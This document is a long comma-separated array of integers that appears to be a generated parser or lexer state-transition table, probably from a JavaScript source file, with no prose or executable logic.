57916,57916,57916,57916,57916,57916,57916,58948,57916,57916,57916,57943,57943,57943,60073,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59010,57943,57943,57943,2804,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2376,57916,60409,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59030,57943,57943,57943,57943,60474,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,2290,0,2291,0,0,3214,0,0,0,528,3218,528,528,528,528,528,528,528,528,528,528,1383,528,528,528,528,1388,3242,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1962,57893,60633,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60335,57893,57916,57916,57916,57916,60682,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59998,57916,57916,57916,57916,0,0,3419,0,0,0,0,0,0,0,0,0,3425,0,0,0,0,0,2410,0,0,0,0,0,0,0,0,0,0,417792,309,310,0,0,0,0,3841,528,528,528,528,528,528,528,3846,528,528,528,528,528,528,2465,528,528,528,528,528,528,528,528,528,528,3943,528,3945,528,528,528,57893,57893,57893,57893,61208,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59369,57893,57893,57893,57893,57916,61227,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59524,57916,0,0,3675,3927,0,0,0,0,0,0,0,0,0,0,0,0,1266,0,0,0,528,528,528,3937,528,528,528,528,3941,528,528,528,528,528,3947,528,528,0,57893,57893,57893,58320,57893,57893,155942,1151,0,0,0,0,0,0,1751,0,0,0,0,0,0,0,0,0,754,0,0,0,0,0,0,528,528,57893,57893,57893,61296,57893,57893,57893,57893,61300,57893,57893,57893,57893,57893,58317,57893,57893,57893,57893,0,57916,57916,58336,57916,57916,61306,57893,57893,57893,57893,57916,57916,57916,61312,57916,57916,57916,57916,61316,57916,57916,57916,57916,58371,58373,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58945,57916,57916,57916,57916,57916,57916,57916,57916,61322,57916,57916,57916,57916,57943,57943,57943,61328,57943,57943,57943,57943,57943,57943,60981,57943,60983,57943,57943,57943,57943,57943,57943,57943,57943,60078,57943,57943,57943,57943,60083,57943,57943,61332,57943,57943,57943,57943,57943,61338,57943,57943,57943,57943,528,57893,0,0,0,0,0,2797,0,0,0,0,0,0,0,0,0,0,1881,0,0,0,0,0,528,528,528,4017,528,528,528,4021,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58281,57893,57893,57893,57893,57893,57893,57893,61376,57893,57893,57893,61380,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,60939,57916,60941,57916,57916,57916,57916,57916,57916,57916,57916,58881,57916,57916,57916,57916,57916,57916,58896,57916,57916,61392,57916,57916,57916,61396,57916,57916,57916,57916,57916,57916,57943,57943,57943,61242,57943,57943,57943,61245,57943,57943,57943,57943,61408,57943,57943,57943,61412,57943,57943,57943,57943,57943,57943,0,0,0,0,0,2821,0,0,0,0,0,0,0,0,0,0,1739,0,0,0,0,0,0,4270,0,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57916,61311,57916,57916,61313,57916,57916,57916,57916,57916,57916,59497,57916,57916,59500,57916,57916,57916,57916,57916,57916,57916,61526,57916,61528,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,60415,57943,57943,57943,57943,0,528,528,57893,57893,57916,57916,57943,57943,0,528,57893,57916,57943,4308,4309,61654,61655,61656,0,528,57893,57916,57943,0,528,57893,57916,57943,0,0,0,0,0,2831,0,0,0,0,0,0,0,0,0,0,1257,0,0,0,0,1262,0,350,0,408,0,0,0,0,0,0,0,0,0,0,408,0,350,0,139264,147456,0,0,0,0,0,514,514,514,514,514,514,514,514,514,514,514,514,514,514,514,514,542,57908,542,57908,542,542,57908,542,542,57931,57908,542,542,57908,57908,57908,57908,57958,57958,57908,57908,57908,57908,57958,57958,57908,623,57908,57974,57931,57908,57908,57908,57908,57908,57908,57908,57931,57931,57908,57908,57958,57908,57908,57908,57974,57974,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,131072,0,0,0,328,0,0,330,0,0,0,0,0,0,2847,2848,0,0,0,0,0,0,0,0,0,5808128,0,0,0,0,4792320,4833280,844,528,528,528,528,528,528,528,528,528,528,528,890,528,528,528,528,528,3499,528,528,528,528,528,528,528,528,528,3508,528,908,528,528,57893,57893,58262,57893,57893,57893,57893,57893,57893,57893,57893,57893,61222,57916,57916,57916,57916,57916,57916,57893,57893,58309,57893,57893,57893,57893,58327,57893,57893,0,57916,57916,58338,57916,57916,57916,57916,58877,57916,57916,57916,57916,58883,57916,57916,57916,57916,57916,57916,59993,59994,57916,57916,57916,57916,57916,57916,60001,57916,57943,57943,57943,57943,58460,57943,57943,57943,57943,58478,57943,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,1724,1173,0,0,0,0,1178,0,0,0,0,0,0,0,0,0,0,2310144,0,368,0,0,0,0,0,1173,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2816,528,528,528,528,1354,528,528,528,528,1364,528,528,528,528,528,528,2491,528,2493,528,528,528,528,528,528,0,58773,914,57893,57893,57893,58779,57893,57893,57893,57893,57893,57893,57893,57893,57893,58793,57916,58874,57916,57916,57916,57916,57916,57916,57916,57916,57916,58888,57916,57916,57916,57916,57916,59448,57916,57916,57916,57916,57916,57916,57916,57916,57916,59459,58898,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59961,57916,58914,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59987,59988,58953,57916,57916,57916,57916,57916,57916,0,57893,57943,57943,57943,58968,57943,57943,57943,57943,57943,59041,57943,57943,57943,57943,57943,57943,57943,57943,59053,59054,0,1728,0,0,0,0,1735,0,0,0,0,0,0,0,0,0,3424,0,0,0,0,0,0,0,0,1761,0,0,0,0,0,0,0,0,0,0,0,0,0,3185,0,0,1775,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2840,0,0,2353,0,0,0,0,0,0,0,0,0,0,0,0,0,3201,0,0,2449,528,528,528,528,528,528,2454,528,2456,528,528,528,528,528,528,2884,528,528,528,528,528,528,528,528,528,528,2915,528,528,528,528,528,2502,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61387,57916,57916,57893,57893,57893,59880,57893,57893,57893,57893,57893,57893,59885,57893,59887,57893,57893,57893,0,0,2592,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,61470,57943,57943,57943,57943,57943,57943,59976,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60013,57916,60059,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59033,528,2906,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1960,528,57916,57916,60383,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60367,57916,57916,0,0,3675,0,0,0,0,3931,0,0,3933,0,0,0,0,0,0,1192,0,0,0,1196,1197,0,0,0,0,528,3936,528,528,3938,528,528,528,528,528,528,528,528,528,528,528,528,3247,528,528,528,528,528,57893,61295,57893,57893,61297,57893,57893,57893,57893,57893,57893,57893,57893,57893,61456,57916,57916,57916,57916,57916,57916,0,0,800,0,800,0,0,0,0,0,0,0,0,800,0,0,0,0,307,307,307,307,307,307,307,307,307,307,307,307,307,0,307,0,528,528,528,528,860,528,528,528,528,528,528,528,528,528,528,528,528,3257,528,528,3260,57916,58355,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60368,57916,1161,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3174,528,528,528,528,58773,1987,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59910,57893,57893,57893,57893,57893,57893,57893,57943,57943,60445,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59585,57943,57943,57893,61081,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60639,57893,0,0,0,351,0,0,0,0,0,0,0,0,0,0,0,0,1746,0,0,0,0,0,0,352,0,0,0,0,0,0,0,0,0,0,0,0,1756,1757,0,0,0,0,353,351,131072,0,351,351,0,353,0,351,0,0,351,353,351,0,0,0,351,351,351,351,351,351,351,351,505,351,351,351,351,351,351,351,351,351,351,351,351,351,351,351,351,543,57909,543,57909,543,543,57909,543,543,57932,57909,543,543,57909,57909,57909,57909,57959,57959,57909,57909,57909,57909,57959,57959,57909,543,57909,57909,57932,57909,57909,57909,57909,57909,57909,57909,57932,57932,57909,57909,57959,57909,57909,57909,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,811,812,0,0,0,0,0,0,758,0,0,817,0,0,0,0,0,0,4082,0,0,0,0,528,528,528,528,528,3221,528,3222,528,528,528,528,0,817,0,664,0,0,0,0,0,0,0,0,0,0,0,0,1787,0,0,0,832,0,0,0,0,0,0,812,0,0,0,0,0,0,0,528,528,528,528,528,2873,528,528,528,528,2877,528,528,528,0,2503,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61087,57893,57893,57893,57893,528,850,528,528,528,866,870,528,528,528,528,528,891,893,528,528,0,2932,0,0,0,0,57893,57893,57893,60280,57893,60281,57893,57893,57893,50676,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59473,904,528,528,528,57893,57893,58263,58269,57893,57893,57893,58285,58289,57893,57893,57893,0,2590,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,59970,57916,57916,57916,57916,57916,57916,57893,57893,58310,58312,57893,57893,58323,57893,57893,57893,0,57916,57916,58339,58345,57916,0,0,0,0,57893,57943,57943,58412,57943,57943,57943,58429,57943,57943,58445,57916,57916,58361,58365,57916,57916,57916,57916,57916,58386,58388,57916,57916,58399,57916,57916,57916,57916,58904,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60945,57916,57916,57916,57916,57943,57943,57943,57943,58461,58463,57943,57943,58474,57943,57943,57943,850,528,893,528,528,0,58270,58266,58491,58314,57893,57893,155942,1151,0,0,1154,0,0,0,0,0,245760,245760,245760,245760,245760,245760,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4358144,4358144,4358144,904,528,0,57893,58269,58312,57893,58323,57893,155942,1151,0,302,0,0,306,307,0,0,0,0,0,0,0,0,0,0,0,0,0,1772,0,0,0,0,0,1217,0,1219,0,1221,0,0,0,0,0,0,0,0,1286,0,0,0,0,0,0,0,0,1247,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3839,0,1332,0,0,0,0,0,0,0,528,528,528,528,528,528,528,528,528,528,528,528,3850,528,528,1374,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2461,528,528,528,1412,528,528,528,528,528,528,528,528,1424,1425,528,528,0,57893,57893,57893,57893,57893,57893,294,1151,0,0,0,0,0,0,0,5480448,4358144,4358144,4358144,4358144,4857856,4874240,4358144,4358144,58773,914,57893,57893,57893,57893,58780,57893,57893,57893,57893,57893,57893,57893,57893,57893,60289,57893,57893,57893,57893,57893,60294,57893,57916,57916,58875,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60378,57916,57916,57916,57916,58932,57916,57916,57916,57916,57916,57916,57916,58946,57916,57916,57916,57916,57916,57916,61241,57943,57943,57943,57943,57943,57943,57943,61246,57943,57916,57916,57916,58958,58959,57916,57916,0,57893,57943,57943,57943,57943,58969,57943,57943,3648,528,528,60995,57893,57893,0,0,0,0,0,0,0,0,1815,0,0,0,0,0,0,0,57943,59e3,59002,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59602,57943,57943,0,1808,0,0,0,0,0,0,0,0,0,0,0,0,0,0,212992,0,528,528,1966,528,528,528,528,528,528,528,528,528,1975,528,528,528,528,528,3513,3515,528,528,528,3518,528,3520,3521,528,57893,528,1981,528,528,58773,0,57893,57893,57893,57893,57893,57893,57893,59338,57893,57893,57893,50676,2087,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60674,57916,57916,57916,57916,57893,59409,57893,57893,57893,57893,57893,57893,57893,57893,57893,59419,57893,57893,57893,57893,57893,59907,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,58340,57916,57916,59425,57893,57893,50676,0,57916,57916,57916,57916,57916,57916,57916,59438,57916,57916,57916,57916,57916,61116,57916,57916,57916,57916,57916,57916,57916,57916,61124,57916,59509,57916,57916,57916,57916,57916,57916,57916,57916,57916,59519,57916,57916,57916,57916,59525,57943,57943,59559,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59620,57943,57943,2393,0,2395,0,0,0,0,0,0,0,0,0,0,2403,0,0,0,0,343,390,0,0,0,139264,147456,0,0,0,423,0,0,0,2408,2409,0,0,0,0,0,2413,0,0,0,0,0,0,0,3153,0,0,0,0,0,0,0,0,378,0,0,0,0,0,0,0,0,2419,528,528,528,528,528,528,2426,528,528,528,528,528,528,528,1394,528,528,528,528,528,528,528,528,2886,528,528,528,528,528,528,528,528,528,2450,528,528,528,528,528,528,528,528,2457,528,2459,528,2462,528,528,528,2476,528,528,528,528,528,528,528,528,528,528,528,528,528,61371,57893,57893,0,0,0,59849,57893,57893,57893,57893,57893,57893,57893,59857,57893,57893,57893,57893,57893,60301,57893,57893,57893,57893,57893,57893,57893,60306,57893,57893,59890,57893,59893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60304,57893,57893,57893,57893,59902,57893,57893,57893,57893,57893,59908,57893,57893,57893,57893,57893,57893,57893,57893,57893,60330,57893,57893,57893,60333,60334,57893,57893,57916,57916,59977,57916,59979,57916,59982,57916,57916,57916,57916,57916,57916,57916,57916,57916,60363,57916,60365,57916,57916,57916,57916,57916,57916,57916,57916,59991,57916,57916,57916,57916,57916,59997,57916,57916,57916,57916,57916,57916,61606,57943,57943,57943,57943,57943,57943,57943,0,0,57943,57943,60060,57943,60062,57943,60065,57943,57943,57943,57943,57943,57943,57943,57943,57943,59007,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60074,57943,57943,57943,57943,57943,60080,57943,57943,57943,57943,57943,57943,59612,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,4240,0,0,0,528,0,0,0,2819,0,0,0,0,0,0,0,0,0,0,2827,0,0,0,0,131072,0,0,0,357,0,0,0,0,359,0,0,400,0,0,0,0,0,139264,147456,400,411,0,424,411,2841,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3187,528,2880,528,528,528,528,528,2885,528,528,528,528,528,528,528,528,3502,528,528,528,528,528,528,528,57893,57893,57893,60310,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60628,57893,57893,57893,57893,57916,60356,57916,57916,57916,57916,57916,60361,57916,57916,57916,57916,57916,57916,57916,57916,59953,57916,59955,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60421,57943,57943,57943,57943,57943,60426,57943,57943,57943,57943,57943,57943,60064,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59566,57943,57943,57943,57943,57943,57893,60652,57893,57893,57893,57893,0,0,57916,57916,57916,57916,57916,60661,57916,60662,57916,57916,57916,57916,60701,57916,57916,57916,57916,57943,57943,57943,57943,57943,60710,57943,57943,57943,57943,57943,61481,57943,57943,61483,57943,0,0,0,0,0,0,0,2808,0,0,0,0,0,0,0,0,350,0,0,0,0,0,0,0,60711,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59587,528,3483,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1978,528,60867,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59929,57916,60909,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60395,57916,57916,57943,60951,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60069,57943,57943,0,3670,0,0,0,0,0,0,0,0,0,0,0,0,0,0,278528,0,0,0,3675,0,0,0,3930,0,0,0,0,0,0,0,0,0,3476,0,0,0,0,0,0,3935,528,528,528,528,3939,528,528,528,528,528,528,528,528,528,3948,528,528,61294,57893,57893,57893,57893,61298,57893,57893,57893,57893,57893,57893,57893,57893,60342,57893,57893,0,0,0,3e3,0,57893,61307,57893,57893,57893,61310,57916,57916,57916,57916,61314,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,0,0,0,0,528,528,528,3219,528,528,528,528,528,3224,528,528,57916,57916,57916,57916,61323,57916,57916,57916,61326,57943,57943,57943,57943,61330,57943,57943,57943,57943,57943,60089,60090,60091,57943,57943,57943,57943,57943,57943,57943,57943,57943,59615,57943,57943,57943,57943,59621,57943,4090,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,61447,0,0,0,4149,0,528,528,528,528,528,528,528,528,528,528,528,528,528,3851,528,528,528,528,528,4248,528,57893,57893,57893,57893,57893,61598,57893,57893,57916,57916,57916,57916,58919,57916,57916,58923,57916,57916,57916,57916,57916,57916,57916,57916,61572,61573,57916,57916,57943,57943,57943,57943,57916,57916,57916,61604,57916,57916,57943,57943,57943,57943,57943,61610,57943,57943,0,0,0,0,363,0,0,0,0,139264,147456,0,0,0,0,0,0,1307,0,528,528,1339,528,1342,528,528,528,4269,0,4271,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57916,0,0,0,0,57893,57943,57943,58413,57943,57943,57943,57943,57943,57943,57943,57943,61582,0,0,0,0,0,0,528,388,0,354,0,0,0,0,0,397,398,0,399,0,0,0,0,0,0,4208,528,528,528,528,528,528,528,528,528,1380,528,528,528,528,528,528,371,379,407,0,0,0,371,0,0,354,0,0,0,371,0,410,412,0,371,399,0,0,371,379,0,139264,147456,399,410,0,0,410,0,0,0,433,131072,0,433,433,443,0,0,433,0,412,433,0,0,0,0,131072,0,0,0,438,0,0,0,0,0,311,0,0,0,0,2796,0,0,0,0,0,0,0,0,0,0,0,450560,450560,0,0,0,465,0,0,0,493,493,493,493,493,493,493,493,493,493,515,515,515,515,515,527,515,515,515,527,515,515,515,515,515,515,544,57910,544,57910,544,544,57910,544,544,57933,57910,544,544,57910,57910,57910,57910,57960,57960,57910,57910,57910,57910,57960,57960,57910,624,57910,57975,57933,57910,57910,57910,57910,57910,57910,57910,57933,57933,57910,57910,57960,57910,57910,57910,57975,57975,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,131072,0,0,0,441,342,0,0,0,453,0,342,343,344,0,0,0,0,0,0,0,0,0,0,0,0,0,2853,0,0,0,306,307,0,0,0,643,0,0,0,0,0,0,0,0,0,3687,0,0,0,0,0,0,669,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3428,845,528,528,528,528,528,528,876,878,528,528,528,528,528,528,528,1415,528,528,528,528,528,528,1426,528,528,528,528,528,57893,57893,58264,57893,57893,57893,57893,57893,57893,58295,58297,57893,57893,57893,57893,58803,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59384,57893,57893,57893,57893,58448,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,2290,1725,2291,0,0,0,0,0,1309,1335,1336,0,1309,528,528,528,528,528,528,1344,528,528,528,528,528,3706,528,528,528,528,528,528,528,528,528,528,528,1974,528,528,528,528,528,528,1348,528,528,1359,528,528,1363,528,528,528,528,528,528,528,1416,528,528,528,528,528,528,528,528,3709,528,528,528,528,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,58783,57893,57893,57893,58787,57893,57893,57893,57893,57893,60623,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58845,57893,57893,57893,57893,57893,58798,57893,57893,58802,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60638,57893,57893,57893,57893,57916,58916,57916,57916,57916,58920,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59469,57916,57916,57916,57916,57916,58972,57943,57943,57943,58976,57943,57943,58987,57943,57943,58991,57943,57943,57943,57943,57943,57943,60076,60077,57943,57943,57943,57943,57943,57943,60084,57943,59014,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59604,1745,1746,0,0,0,0,0,0,0,0,0,0,0,0,0,0,507904,0,0,0,0,1778,0,0,0,0,0,0,0,0,0,0,0,0,1828,0,0,0,1791,0,1793,0,0,0,1797,0,0,0,1801,0,0,0,1805,0,0,0,0,131072,0,0,0,442,0,0,0,449,0,0,0,0,0,2846,0,0,0,0,0,0,0,0,0,0,1224,0,0,0,0,0,1980,528,528,528,58773,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60625,57893,57893,57893,57893,57893,57893,57893,57943,57943,57943,57943,59545,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60068,57943,57943,57943,0,0,2314,0,2315,0,0,0,0,0,0,0,0,0,0,0,262738,0,0,0,0,2377,0,0,0,0,0,0,2384,0,0,0,0,0,0,0,0,1326,1327,0,0,1167,0,0,0,0,528,528,2421,528,528,528,528,528,528,528,528,528,528,528,528,888,528,528,528,528,528,528,528,2489,528,528,528,528,528,528,528,528,528,528,0,0,57893,57893,57893,57893,60611,57893,57893,57893,57893,57893,57893,59868,57893,57893,57893,57893,57893,57893,57893,57893,57893,58330,0,57916,57916,57916,57916,58347,0,0,0,57893,57893,59851,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60901,57893,57893,57893,57893,57893,57893,57893,60113,0,0,1729,0,0,1736,0,0,0,0,0,0,0,0,0,139264,147456,0,0,0,0,0,0,0,2858,0,0,0,0,0,0,0,0,0,2864,0,0,0,0,0,3152,0,0,0,0,0,0,0,0,0,3158,57893,57893,57893,57893,60311,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60890,57893,60892,57893,57893,60323,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60295,60443,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60455,57943,57943,57943,57943,57943,59593,57943,57943,59596,57943,57943,57943,57943,57943,57943,57943,57943,59551,57943,57943,57943,57943,57943,57943,57943,57943,59565,57943,57943,57943,57943,57943,57943,57943,57943,59580,57943,57943,57943,57943,57943,57943,57943,57943,59614,57943,57943,57943,57943,57943,57943,57943,57943,60037,57943,57943,60041,57943,57943,57943,60045,0,0,3190,0,0,0,0,3195,0,0,0,0,0,0,0,0,1783,1784,1785,0,0,0,0,0,3250,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2472,57893,57893,60642,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61385,57893,57916,57916,57916,0,3468,3469,0,0,0,0,3474,0,0,0,0,0,0,0,0,1799,0,0,0,0,0,0,0,0,0,3681,0,0,0,3684,0,0,0,0,0,0,0,0,3692,57893,61092,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,0,0,0,0,4290,528,3813,57893,57893,61159,3816,0,0,0,0,3820,0,0,0,0,0,0,1236,0,0,0,0,0,0,0,0,0,2799,0,0,0,0,0,0,0,3833,0,0,0,0,3837,0,0,0,0,0,0,0,0,3840,0,528,528,528,3842,528,528,528,3845,528,528,528,528,528,528,528,1938,528,528,528,528,528,528,528,528,3235,528,528,3238,528,528,528,528,57893,57893,57893,61207,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61084,57893,57893,57893,57893,57893,57893,57893,61226,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60407,57916,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61302,57893,61304,57893,57893,57893,57893,58819,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59913,57893,57893,57893,57893,57916,61320,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,4268,0,57943,57943,61334,57943,61336,57943,57943,57943,57943,57943,57943,528,57893,0,0,0,0,0,3164,0,0,0,0,3169,0,0,0,0,0,0,1220,0,0,0,0,0,1226,0,1228,0,4146,0,0,0,0,528,528,528,528,528,528,528,528,528,528,4160,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61516,57893,57893,57893,0,2591,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,59996,57916,57916,57916,57916,57916,57916,528,528,57893,57893,61560,57893,61561,57893,57893,57893,57893,57893,57893,57893,57893,57916,0,0,0,0,57893,57943,57943,58414,58420,57943,57943,57943,58436,58440,57943,57943,57943,57943,57943,61411,57943,61413,61414,57943,61416,57943,61418,0,0,0,0,0,1849,0,0,0,0,0,0,1748,0,0,0,0,0,1864,0,0,0,0,0,0,0,0,0,0,2401,0,0,0,0,0,57916,61568,57916,61569,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,61576,57943,57943,57943,57943,57943,61539,57943,61541,57943,57943,57943,57943,0,0,0,0,0,0,3435,0,0,0,0,0,0,0,0,0,1273,0,0,0,0,0,0,61577,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,528,528,528,2871,2872,528,528,528,528,528,528,528,528,528,528,3237,528,528,528,528,528,358,359,360,0,0,0,0,0,0,0,0,0,368,0,296,0,0,0,0,131072,0,352256,352256,0,0,0,352256,0,0,352256,0,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,0,482,482,482,0,0,0,0,0,0,0,0,0,0,516,516,520,520,520,520,520,516,520,520,520,516,520,520,520,520,520,520,545,57911,545,57911,545,545,57911,545,545,57934,57911,545,545,57911,57911,57911,57911,57961,57961,57911,57911,57911,57911,57961,57961,57911,625,57911,57976,57934,57911,57911,57911,57911,57911,57911,57911,57934,57934,57911,57911,57961,57911,57911,57911,57976,57976,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,245760,0,0,245760,0,0,245760,0,0,245760,0,245760,0,0,0,0,0,0,0,0,0,0,0,0,0,516567,516567,516567,0,306,307,0,0,0,0,644,0,0,0,0,0,0,0,0,1837,0,0,0,0,0,0,0,0,0,687,688,0,0,0,0,0,0,0,0,0,0,0,368,368,0,0,0,760,0,0,0,0,765,0,0,0,0,0,0,0,0,0,0,4841472,0,0,0,4898816,0,794,0,0,0,0,0,0,0,0,0,0,803,0,808,0,0,0,0,392,0,0,0,396,392,0,0,0,0,0,0,0,2823,0,0,0,0,0,0,0,0,677,0,0,0,0,0,0,0,0,0,0,820,0,0,0,0,0,644,0,0,0,0,0,0,0,3436,0,0,0,0,0,0,0,0,681,0,0,0,0,0,0,680,0,0,794,0,0,0,0,0,0,0,0,644,0,0,794,528,528,528,528,528,3717,528,528,528,528,528,528,528,528,528,528,1381,528,528,528,528,528,846,528,528,528,528,867,871,877,528,882,528,528,528,528,528,900,528,528,528,528,57893,57893,58265,57893,57893,57893,57893,58286,58290,58296,57893,58301,57916,57916,58362,58366,58372,57916,58377,57916,57916,57916,57916,57916,58395,57916,57916,57916,57916,57916,61231,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60686,57916,57916,57916,57916,57916,57943,58452,57943,57943,57943,57943,57943,58470,57943,57943,57943,57943,528,528,528,900,1215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3441,1264,0,0,0,0,0,1269,0,0,0,0,0,1274,0,0,0,0,0,3179,0,0,0,0,0,0,0,0,0,0,679,0,0,0,0,0,0,1294,0,0,1165,0,0,0,1300,0,1302,0,0,0,0,0,0,1284,0,0,0,0,0,0,0,0,0,1301,0,0,0,0,0,0,0,1300,1319,0,1322,0,0,0,1196,0,0,0,0,1330,0,0,1215,1330,1337,528,528,528,528,1343,528,528,528,528,1349,528,528,528,528,528,528,528,528,528,528,1370,528,528,0,57893,57893,57893,57893,57893,57893,155942,0,0,0,0,0,0,0,1285,0,0,0,0,1290,0,0,0,58773,914,58775,57893,57893,57893,57893,57893,58782,57893,57893,57893,57893,58788,57893,57893,57893,57893,57893,60872,57893,57893,57893,57893,57893,60876,57893,57893,57893,57893,57893,58860,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,58917,57916,57916,57916,57916,58922,57916,57916,57916,57916,57916,57916,57916,57916,57916,60403,57916,57916,57916,60406,57916,57916,58930,57916,57916,57916,58937,58939,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59957,57916,57916,57916,57916,57916,57943,57943,57943,57943,58977,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58998,57943,59016,57943,57943,57943,57943,57943,59021,57943,57943,57943,59025,57943,57943,57943,59032,59034,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59622,57943,59057,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,0,0,0,0,385024,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5259264,4358144,4358144,4358144,4358144,0,0,1729,0,0,0,0,1736,0,0,0,0,0,0,0,0,1880,0,0,0,0,0,0,0,0,0,1747,1748,0,0,0,0,0,1754,0,0,0,0,0,0,0,3447,0,0,0,0,0,3450,0,3452,0,1776,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5177344,0,0,0,0,0,1794,0,0,0,0,0,0,0,1802,1803,0,0,0,0,0,3207,0,0,0,0,0,0,0,0,0,0,3183,0,0,0,0,0,0,0,0,1810,0,0,0,0,0,0,0,0,0,0,0,0,1841,0,1843,0,0,0,1874,0,0,0,0,0,0,0,0,0,0,0,0,0,3213,0,0,528